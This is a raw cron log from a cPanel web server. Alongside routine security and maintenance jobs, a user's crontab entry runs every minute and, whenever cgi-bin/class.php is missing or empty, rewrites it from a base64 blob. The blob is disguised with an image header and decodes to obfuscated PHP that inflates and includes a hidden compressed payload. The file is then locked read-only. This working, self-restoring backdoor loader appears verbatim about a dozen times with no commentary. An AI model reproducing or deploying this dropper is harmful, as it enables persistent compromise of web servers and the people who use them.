Sep  8 21:28:01 server CROND[5674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:28:01 server CROND[5675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:29:02 server CROND[6060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:29:02 server CROND[6061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:29:02 server CROND[6062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:30:01 server CROND[6452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:30:01 server CROND[6454]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:30:01 server CROND[6455]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:30:01 server CROND[6456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:30:01 server CROND[6458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:30:01 server CROND[6457]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:30:01 server CROND[6462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:30:01 server CROND[6460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:31:01 server CROND[7293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:31:01 server CROND[7294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:31:01 server CROND[7295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:32:01 server CROND[7679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:32:01 server CROND[7680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:32:01 server CROND[7681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:33:01 server CROND[8169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:33:01 server CROND[8170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:33:01 server CROND[8171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:34:01 server CROND[8774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:34:01 server CROND[8747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:34:01 server CROND[8775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:35:01 server CROND[9184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:35:01 server CROND[9186]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 21:35:01 server CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:35:01 server CROND[9191]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 21:35:01 server CROND[9190]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 21:35:01 server CROND[9192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:35:01 server CROND[9189]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 21:35:01 server CROND[9195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:35:01 server CROND[9188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:36:01 server CROND[10093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:36:01 server CROND[10094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:36:01 server CROND[10095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:37:01 server CROND[10507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:37:01 server CROND[10506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:37:01 server CROND[10508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:38:02 server CROND[10970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:38:02 server CROND[10969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:38:02 server CROND[10971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:39:01 server CROND[11336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:39:01 server CROND[11337]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 21:39:01 server CROND[11338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:39:01 server CROND[11339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 21:40:01 server CROND[11741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:40:01 server CROND[11742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
